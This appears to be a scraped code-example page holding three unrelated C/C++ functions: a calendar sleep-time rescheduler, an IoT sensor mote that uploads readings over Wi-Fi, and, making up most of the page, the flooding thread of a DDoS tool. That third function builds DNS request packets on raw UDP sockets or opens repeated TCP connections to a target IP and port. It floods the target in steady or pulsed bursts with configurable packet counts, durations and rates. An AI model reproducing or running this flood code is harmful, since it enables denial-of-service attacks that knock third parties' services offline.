Exemplo n.º 1
0
void newSleepTimeChang::get_new_sleep(int month,int day){

    int changeDay = getChnageDay(month,day+1);
    int old_ss = sleepStarts[changeDay-1];///ss sleep start
    int old_se = sleepEnds[changeDay-1];///sleep ends



    for(int i = old_ss;i<=old_se;i++){
        ///set value to false
        ///free  sleep time
        cout<<"setting "<<i<<" to FALSE...\n";
        calen->setCalenderBoolToFalse(i);
       //setCalenderBoolToFalse(i);
        //setcaleCderChar();


        ///setCalenderBoolToFalse(i);
    }

    int new_ss = getSleepTime(1,changeDay-1,changeDay-1);
    int new_se = getSleepTime(2,new_ss,changeDay-1);

    ///getting new sleeping time


    if(0<changeDay-1){
        new_ss = new_ss+24*(changeDay-1);
        new_se = new_se+24*(changeDay-1);
    }

    sleepStarts[changeDay-1] = new_ss;
    sleepEnds[changeDay-1] = new_se;

    cout<<"\n\n\n\n chnageDay is "<<changeDay<<"\n\n\n";
    cout<<new_ss<<" "<<new_se<<endl;
    for(int i = new_ss;i<=new_se;i++){
        ///set value to true
        ///assign new sleep time
        cout<<"setting "<<i<<" to TRUE...\n";
        calen->setCalenderBoolToTrue(i);
        char* temp = new char[6];
        strcpy(temp,"sleep");
        calen->setcaleCderChar(i,temp);


        ///setCalenderBoolToTrue(i);
    }

    ///test
    for(int i = 0;i<=168;i++){
            if(calen->getCalenderBool(i))
                cout<<i<<". "<<calen->getcaleCderChar(i)<<endl;
            else
                cout<<i<<". "<<"Free\n";
    }
}///end of newSleepTimeChang
Exemplo n.º 2
0
void SmartMote::work(){
    while(1){
        /*  se l'ora corrente è di scansione                                    */
        if(!(RTCC.hours() % 6) && (RTCC.minutes() >= 0x00 && RTCC.minutes() <= 0x05)){
            AString data;
            AString message;
            AString answer;
            /*  abilito il core timer (la prima volta è già abilitato)          */
            System::wakeCoreTimer();
            /*  accendo il led verde                                            */
            turnOnGreen();
            /*  accendo la seriale                                              */
            openUART();
            /*  accendo l'i2c                                                   */
            openI2C();
            /*  prendo le misure                                                */
            data += mac();
            data += luminosity();
            data += ambientTempAndHum();
            data += groundTemp();
            data += groundHum();
            data += battey();
            /*  compongo la stringa                                             */
            message += _PHP_CHUNK1;
            /*  inserisco l'hostname                                            */
            message += getHost();
            /*  inserisco la seconda parte di richiesta http                    */
            message += _PHP_CHUNK2;
            /*  inserisco la lunghezza dei dati                                 */
            message += AString(static_cast<sint32>(data.size()));
            /*  inserisco la terza parte di richiesta http                      */
            message += _PHP_CHUNK3;
            /*  inserisco i dati                                                */
            message += data;

            /*  se fallisce l'inizializzazione dell'esp                         */
            if(!m_net.initialize()){
                /*  notifico l'errore                                           */
                error();
            }
            /*  se fallisce l'avvio del dhcp                                    */
            if(!m_net.setDhcp(true)){
                /*  notifico l'errore                                           */
                error();
            }
            /*  se fallisce la connessione alla rete                            */
            if(!m_net.joinAP(getSSID(), getKey())){
                /*  notifico l'errore                                           */
                error();
            }
            /*  se fallisce la connessione al server                            */
            if(!m_net.connectToHost(getHost(), 80)){
                /*  notifico l'errore                                           */
                error();
            }
            /*  invio i dati                                                    */
            m_net.send(message);
            /*  aspetto l'ok                                                    */
            m_net.waitForData(answer);
            /*  notifico l'ok o lerrore dell'invio                              */
            wasSuccess(answer);
            /*  lascio l'ap                                                     */
            m_net.leaveAP();
            /*  libero la memoria occupata dalle stringhe                       */
            message.clear();
            data.clear();
            answer.clear();
        }
        /*  calcolo del tempo di sleep per il wifi                              */
        m_net.sleep(getSleepTime());
        /*  punto la prossima sveglia                                           */
        setNextAlarm();
        /*  spengo il led verde                                                 */
        turnOffGreen();
        /*  spengo l'uart                                                       */
        closeUART();
        /*  chiudo l'i2c                                                        */
        closeI2C();
        /*  spengo il core timer                                                */
        System::stopCoreTimer();
        /*  vado a dormire                                                      */
        System::sleep();
            
    }
}
Exemplo n.º 3
0
void newppthread_signal(void *attackM)
{
	char *datap=NULL;
	struct attackM_st *attDT = (struct attackM_st *)attackM;
	
    ddosConfig *ddosc = attDT->ddosc;
    
	int attackIpLinklength,attackPortLinkLength;
	attackIpLinklength = getLinkLength_arr(ddosc->ipls);
	attackPortLinkLength = getLinkLength_arr(ddosc->portls);
    int packetLen=0;//发送包的包长
    struct sockaddr_in sin;
    int sockfd=0,foo,ret;

	//printf("_attackIp:%s\n",attDT->attackIp);
    //printf("_attackPort:%s\n",attDT->attackPort);
    //printf("____pthread_id:%d\n",attDT->pthread_id);	

    int attackStyleNum=0;//攻击类型编号(1/2,udp/tcp)
    //判断是哪种类型的攻击
    attackStyleNum = 1;
    if(ddosc->style_dns.protocol==1)
        attackStyleNum=2;//default:udp
    else
        attackStyleNum=4;//tcp
        
	printf("* pthread_%d:[dnsrequestflood]protocol[%d]\n",attDT->pthread_id,attackStyleNum);
    printf("* ----------------------------------------\n");
	
	if(attackStyleNum==1){
		if((sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1){
            perror("socket wrong!");
            exit(1);
        }
		//packetLen=ddosc->synStyle->packetLength;
	}
	else if(attackStyleNum==2){
		if((sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_UDP)) == -1){
            perror("socket wrong!");
            exit(1);
        }
		packetLen = ddosc->style_dns.packetLength;
		//printf("*packetLen[%d]\n",packetLen);
	}
	else if(attackStyleNum==3){
		if((sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP)) == -1){
            perror("socket wrong!");
            exit(1);
        }
		//packetLen = ddosc->icmpStyle->packetLength;
	}
	else
		packetLen=ddosc->style_dns.packetLength;
    
    if(attackStyleNum!=4) { //不是http
        foo=1;
        if( (setsockopt(sockfd, 0, IP_HDRINCL, (char *)&foo, sizeof(int)))==-1 ){
            printf("could not set raw header on socket\n");
            exit(1);
        }
    }
   
    //获得发送包数与攻击时间,此处包数与攻击时间将会有矛盾,暂以最长为条件
    int sendPacketNumber;//需要发送的最小包数
    double attackTime;//秒为单位
    sendPacketNumber = ddosc->sendPacketNumber;
    attackTime = ddosc->attackTime;//得到包间隔时间,对包与包之间的发送数据间隔进行控制
    int tempTime;//获得的间隔时间
    struct timeval t_start;//start time when send starts
    struct timeval t_end;//end time when one send over
    float sendedtime=0;//已攻击时间
    float tempfloattime;
	int pulseyn = ddosc->pulseyn;//首先检查是否为心跳攻击
	sin.sin_family=AF_INET;
	if((sin.sin_port=htons(atoi(attDT->attackPort)))==0){
		printf("unknown port.\n");
		return;
	}
	sin.sin_addr.s_addr =inet_addr(attDT->attackIp);
	gettimeofday(&t_start,NULL);
	
	if(pulseyn==1)//均匀攻击
	{
		if(attackStyleNum!=4)
		{//不使用tcp	
			while(!pthread_shutdown&&(pthread_send_package_num[attDT->pthread_id]<sendPacketNumber||sendedtime<attackTime))
			{
			    char dataArrary[MAXLENGTH];//包数据
			    int pkt_len=0;
			    memset(dataArrary,0,MAXLENGTH);
				//组包
			    if(attackStyleNum==2) //udp dns攻击包
			    { 
					pkt_len = ip_udp_dns_package(dataArrary,&(ddosc->style_dns),attDT->attackIp,attDT->attackPort);
				}
				
				if(sendto(sockfd,dataArrary,pkt_len,0,(struct sockaddr *)&sin,sizeof(struct sockaddr_in))==-1){
					perror("X Error:send package wrong.");
                    //exit(1);
					continue;
				}
				pthread_send_package_byte[attDT->pthread_id] += pkt_len;
				pthread_send_package_num[attDT->pthread_id]++;
				//间隔发包
				tempTime = getSleepTime(&(ddosc->packetTimels));
				//printf("sleepTime:%d;",tempTime);
				if(tempTime!=0)
					usleep(tempTime);
				gettimeofday(&t_end,NULL);
				tempfloattime = 1000000*(t_end.tv_sec-t_start.tv_sec)+(t_end.tv_usec-t_start.tv_usec);
				sendedtime = tempfloattime/1000000;
				
			}
			close(sockfd);
		}
		else if(attackStyleNum==4) 
		{ //发送tcp dns
			while(!pthread_shutdown&&(pthread_send_package_num[attDT->pthread_id]<sendPacketNumber||sendedtime<attackTime))
			{
			    char dataArrary[MAXLENGTH];//包数据
			    int pkt_len=0;
			    memset(dataArrary,0,MAXLENGTH);
			    
				if((sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1)
				{
					perror("socket wrong!");
					exit(1);    
				}
				ret = connect(sockfd,(struct sockaddr *)&sin,sizeof(sin));
				if(ret)
				    printf("failed to connect to %s.\n",attDT->attackIp);
				else
				{
					pkt_len = tcp_dns_package(dataArrary,&(ddosc->style_dns));
					ret = write(sockfd,dataArrary,pkt_len);
				}
				pthread_send_package_num[attDT->pthread_id]++;
				pthread_send_package_byte[attDT->pthread_id] += pkt_len;
				//间隔发包
				tempTime = getSleepTime(&(ddosc->packetTimels));
				if(tempTime!=0)
					usleep(tempTime);
				
				gettimeofday(&t_end,NULL);
				tempfloattime = 1000000*(t_end.tv_sec-t_start.tv_sec)+(t_end.tv_usec-t_start.tv_usec);
				sendedtime = tempfloattime/1000000;
				close(sockfd);
			}
		}
		//当该线程攻击时间大于此时的实际攻击时间时,将大的给予实际攻击时间
		if(sendedtime>attackTimeRealgo)
		{
			attackTimeRealgo = sendedtime;
		}
	}
	else
	{//心跳攻击
		int cycleTime = ddosc->cycleTime;//周期时间(s)
		int pulseTime = ddosc->pulseTime;//心跳攻击周期时间(s)
		int speed = ddosc->speed;//发包速率(个/s)
		int sendedpulsenum;//攻击脉冲周期中发送的包数
		int pulseNum = attackTime/cycleTime ;//周期数
		int ipulse; 
		struct timeval t_pulse_start;//start pulse time when send starts
		struct timeval t_pulse_end;//end pulse time when send starts
		float sendedpulsetime;//发pulse包时间(s)
		int sleepTime = (cycleTime-pulseTime)*1000000;//微秒级别
		int sPackageTime = 1000000/speed-getOnePackageTime;//发1个包时间微秒,当前默认组织一个数据包的平均时间为70us
		if(sPackageTime<0)
			sPackageTime=0;
		int sendallpacnum;//每个脉冲发送的包数 
		sendallpacnum = pulseTime*speed;
		if(attackStyleNum!=4){//不是http
			for(ipulse=0;ipulse<pulseNum;ipulse++){
				gettimeofday(&t_pulse_start,NULL);
				sendedpulsetime=0;
				sendedpulsenum=0;
				while(!pthread_shutdown&&sendedpulsenum<sendallpacnum&&sendedpulsetime<pulseTime)
				{
				    char dataArrary[MAXLENGTH];//包数据
    			    int pkt_len=0;
    			    memset(dataArrary,0,MAXLENGTH);
    			    
					//组包
					if(attackStyleNum==2) { //udp攻击包
						//packetLen = ddosc->udpStyle.packetLength;
						pkt_len = ip_udp_dns_package(dataArrary,&(ddosc->style_dns),attDT->attackIp,attDT->attackPort);
					}
					
					//发送数据包
					if(sendto(sockfd,datap,packetLen,0,(struct sockaddr *)&sin,sizeof(struct sockaddr_in))==-1){
						perror("send wrong!");
						exit(1);
					}
					sendedpulsenum++;
					pthread_send_package_num[attDT->pthread_id]++;
					usleep(sPackageTime);
					gettimeofday(&t_pulse_end,NULL);
					tempfloattime = 1000000*(t_end.tv_sec-t_start.tv_sec)+(t_end.tv_usec-t_start.tv_usec);  
					sendedpulsetime =tempfloattime/1000000;//s
					//printf("sendpulsetime:%f\n",sendedpulsetime);
				}
				usleep(sleepTime);
			}
			close(sockfd);
		}
		else if(attackStyleNum==4) { //发送tcp_dns攻击包
			for(ipulse=0;ipulse<pulseNum;ipulse++){
				gettimeofday(&t_pulse_start,NULL);
				sendedpulsetime=0;
				sendedpulsenum=0;
				while(!pthread_shutdown&&pthread_send_package_num[attDT->pthread_id]<pulseTime*speed&&sendedpulsetime<pulseTime)
				{
                    char dataArrary[MAXLENGTH];//包数据
    			    int pkt_len=0;
    			    memset(dataArrary,0,MAXLENGTH);
    			    
					if((sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1){
						perror("socket wrong!");
						exit(1);
					}
					ret = connect(sockfd,(struct sockaddr *)&sin,sizeof(sin));
					if(ret){
						printf("failed to connect to %s.\n",attDT->attackIp);
					}
					else {
						//packetLen=ddosc->httpStyle->packetLength;
					    pkt_len = tcp_dns_package(dataArrary,&(ddosc->style_dns));
						ret = write(sockfd,dataArrary,pkt_len);
					}
					pthread_send_package_num[attDT->pthread_id]++;
					pthread_send_package_byte[attDT->pthread_id] += pkt_len;
					sendedpulsenum++;
					usleep(sPackageTime);
					gettimeofday(&t_pulse_end,NULL);
					tempfloattime = 1000000*(t_pulse_end.tv_sec-t_pulse_start.tv_sec)+(t_pulse_end.tv_usec-t_pulse_start.tv_usec);  
					sendedpulsetime =tempfloattime/1000000;//s
					close(sockfd);
				}
				usleep(sleepTime);
			}
		}
	}
	
	return;
}